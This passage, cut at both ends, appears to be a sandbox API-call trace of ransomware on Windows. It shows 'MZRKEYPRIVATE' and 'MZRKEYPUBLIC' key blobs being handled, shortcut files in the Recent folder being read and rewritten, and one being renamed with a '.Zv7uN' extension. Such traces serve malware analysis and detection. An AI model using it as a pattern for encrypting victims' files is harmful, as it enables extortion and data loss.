XChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.926] GetCurrentThreadId () returned 0xa30 [0081.926] GetCurrentThreadId () returned 0xa30 [0081.926] GetCurrentThreadId () returned 0xa30 [0081.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.927] GetCurrentThreadId () returned 0xa30 [0081.928] GetCurrentThreadId () returned 0xa30 [0081.928] GetCurrentThreadId () returned 0xa30 [0081.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kg8xgQynXm64WDLJJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kg8xgqynxm64wdljj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.928] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.928] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.928] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xe60 [0081.928] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.928] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xe60, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xe60, lpOverlapped=0x0) returned 1 [0081.930] CloseHandle (hObject=0x124) returned 1 [0081.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kg8xgQynXm64WDLJJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kg8xgqynxm64wdljj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.931] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xe60, lpOverlapped=0x0) returned 1 [0081.932] CloseHandle (hObject=0x124) returned 1 [0081.937] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kg8xgQynXm64WDLJJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kg8xgqynxm64wdljj.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Kg8xgQynXm64WDLJJ.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kg8xgqynxm64wdljj.lnk.zv7un")) returned 1 [0081.938] GetCurrentThreadId () returned 0xa30 [0081.938] GetCurrentThreadId () returned 0xa30 [0081.938] GetCurrentThreadId () returned 0xa30 [0081.938] GetCurrentThreadId () returned 0xa30 [0081.938] GetCurrentThreadId () returned 0xa30 [0081.938] GetCurrentThreadId () returned 0xa30 [0081.938] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe14e9640, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe14e9640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe14e9640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1abb, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="kgcPTg_QemXoYwIC0.lnk", cAlternateFileName="KGCPTG~1.LNK")) returned 1 [0081.938] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.938] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kgcPTg_QemXoYwIC0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kgcptg_qemxoywic0.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe14e9640, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe14e9640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe14e9640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1abb)) returned 1 [0081.939] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kgcPTg_QemXoYwIC0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kgcptg_qemxoywic0.lnk")) returned 0x20 [0081.939] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kgcPTg_QemXoYwIC0.lnk", dwFileAttributes=0x80) returned 1 [0081.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl